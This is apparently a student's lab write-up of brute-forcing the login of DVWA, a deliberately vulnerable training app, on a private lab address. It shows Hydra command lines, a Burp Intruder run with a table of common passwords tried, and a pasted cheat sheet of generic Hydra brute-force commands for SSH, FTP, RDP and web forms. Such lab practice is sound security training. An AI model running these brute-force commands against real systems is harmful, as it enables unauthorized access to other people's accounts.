

DVWA Brute Force (Low Security) – Full Walkthrough & Recap

Objective:

Gain access to the **DVWA login-protected area** by brute-forcing valid credentials through the **Brute Force** module, with security level set to **Low**.

Environment Setup

- **Target IP:** 10.10.10.20
 - **App:** DVWA (Damn Vulnerable Web Application)
 - **Security Level:** Low
 - **Accessed via:** `http://10.10.10.20/dvwa/vulnerabilities/brute/`
 - **Attacker System:** Ubuntu (local VM with tools installed)
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Tools Used

Tool	Purpose
Burp Suite Community	Manual login attempts, request analysis, brute force testing
Hydra	Automated CLI brute force tool
Wordlists	/usr/share/wordlists/rockyou.txt, Xato's 10M password list

Step-by-Step Attack Breakdown

Step 1: Login to DVWA

- Default credentials worked:
 - **Username:** admin
 - **Password:** password
 - Navigated to the **DVWA Security** tab → Set security level to **Low**
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Step 2: Identified the Login Mechanism

- Navigated to:
`http://10.10.10.20/dvwa/vulnerabilities/brute/`
- Observed a login form taking:
 - username
 - password

- Using **Burp Proxy**, captured the request and confirmed:
 - Method: GET
 - Example request:
 - GET /dvwa/vulnerabilities/brute/?username=admin&password=wrong&Login=Login
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✓ Step 3: Manual Testing via Browser

- Tested wrong creds: got failure message Username and/or password incorrect.
 - This string became our **hydra failure condition**
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🔄 Attempted Attack 1: Hydra with `http-post-form` ✗

```
hydra -l admin -P wordlist.txt 10.10.10.20 http-post-form  
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Login failed"
```

Issue:

- DVWA Low uses **GET**, not POST → All attempts failed.
 - Hydra output returned HTML responses instead of clear login results.
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✓ Working Attack: Hydra with `http-get-form`

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.20 http-get-form  
"/dvwa/vulnerabilities/brute/?username=admin&password=^PASS^&Login=Login:Username and/or  
password incorrect."
```

- I did not get this to work – used burp
 - ~~Hydra clearly returned the working login:~~
 - ~~login: admin password: password~~
-

✓ Parallel Attack: Burp Suite Intruder

- Sent GET request to Intruder
 - Marked `password=$value$` as payload position
 - Loaded small password list
 - **Grep match** used for Username and/or password incorrect.
 - **Response length** helped identify valid login:
 - Failed responses: Length = 5113
 - **Successful response:** Length = 5156 (password: password)
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📸 [See screenshots below for user review only.]

✓ Final Result:

Field Value

Username admin

Password password

Successfully logged in manually at:

<http://10.10.10.20/dvwa/login.php>

📌 Lessons Learned:

- Always inspect the HTTP method — GET vs POST matters for Hydra modules.
- Use Burp Intruder for clear visual analysis and response size comparisons.
- Hydra struggles when failure strings aren't specific — Burp helps debug that fast.
- DVWA Low doesn't need session cookies or CSRF handling (unlike Medium/High).

5. Intruder attack of http://10.10.10.20						
Results	Positions					
Capture filter: Capturing all items						
Request	Payload	Status code	Response received	Error	Timeout	Length
0		200	5		5113	
1	123456	200	5		5113	
2	12345	200	4		5113	
3	123456789	200	5		5114	
4	password	200	5		5156	
5	iloveyou	200	4		5113	
6	princess	200	4		5113	
7	1234567	200	5		5113	
8	rockyou	200	4		5113	
9	12345678	200	4		5113	
10	abc123	200	5		5113	
11	nicole	200	4		5113	
12	daniel	200	4		5113	
13	babygirl	200	4		5113	
14	monkey	200	5		5113	
15	lovely	200	5		5113	
16	jessica	200	4		5113	
17	654321	200	4		5113	
18	michael	200	4		5113	
19	ashley	200	4		5113	
20	qwerty	200	4		5113	
21	111111	200	5		5113	
22	iloveu	200	4		5113	
23	000000	200	5		5113	
24	michelle	200	4		5113	
25	tigger	200	5		5113	
26	sunshine	200	5		5113	
27	chocolate	200	4		5113	
28	password1	200	4		5113	
29	soccer	200	5		5113	

The screenshot shows a web-based CTF tool interface. On the left, there's a sidebar with categories like 'Recon Cheats' (Nmap, FFUF, Gobuster, Dirsearch), 'Brute/Crack' (Hydra, John the Ripper), 'Resources/Links' (Links, Sandbox, JS Crypto Sandbox), and 'Sandbox'. The main area is titled 'CTF Cheat Dashboard' and contains sections for 'Recon Cheats' and 'Hydra Cheats'. The 'Hydra Cheats' section displays various command examples for different protocols. A red box highlights the 'Hydra' link in the sidebar and the 'Open raw .txt version' link below the command examples. The entire page has a dark theme with green highlights.

Hydra Cheats

```
# SSH brute force
hydra -L root -P rockyou.txt ssh://TARGET

# HTTP POST form
hydra -L admin -P passlist.txt TARGET http-post-form "/login.php:user="USER"&pass="PASS":F=Invalid login"

# FTP brute force
hydra -L users.txt -P pass.txt ftp://TARGET

# RDP brute (Windows)
hydra -t 4 -V -f -L admin -P pass.txt rdp://TARGET
```

[Open raw .txt version](#)

This screenshot shows the raw text version of the Hydra cheat commands from the previous screen. The text is identical to the one above, but the 'Open raw .txt version' link is now highlighted with a red box. A red box also highlights the 'Remove this wordlist' button at the top right of the text area. The interface includes language selection (Maltese, English) and a browser header with tabs for DVWA Security:: Damn, Home Lab Dashboard, Cheat Panel—CTF Tool, and the current page.

Remove this wordlist

```
# SSH brute force
hydra -L root -P rockyou.txt ssh://TARGET

# HTTP POST form
hydra -L admin -P passlist.txt TARGET http-post-form "/login.php:user="USER"&pass="PASS":F=Invalid login"

# FTP brute force
hydra -L users.txt -P pass.txt ftp://TARGET

# RDP brute (Windows)
hydra -t 4 -V -f -L admin -P pass.txt rdp://TARGET

# Syntax: DVWA Lab
hydra -L admin -P /usr/share/wordlists/xato-net-10-million-passwords-1000000.txt 10.10.10.20 http-get-form "/dvwa/vulnerabilities/brute/?username=admin&password="PASS"&Login=Login:Username and/or password incorrect."
```

Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass

Vulnerability: Brute Force

Login

Username:

Password:

Welcome to the password protected area admin



More Information

- https://owasp.org/www-community/attacks/Brute_force_attack
- <https://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password>
- <https://www.golinuxcloud.com/brute-force-attack-web-forms>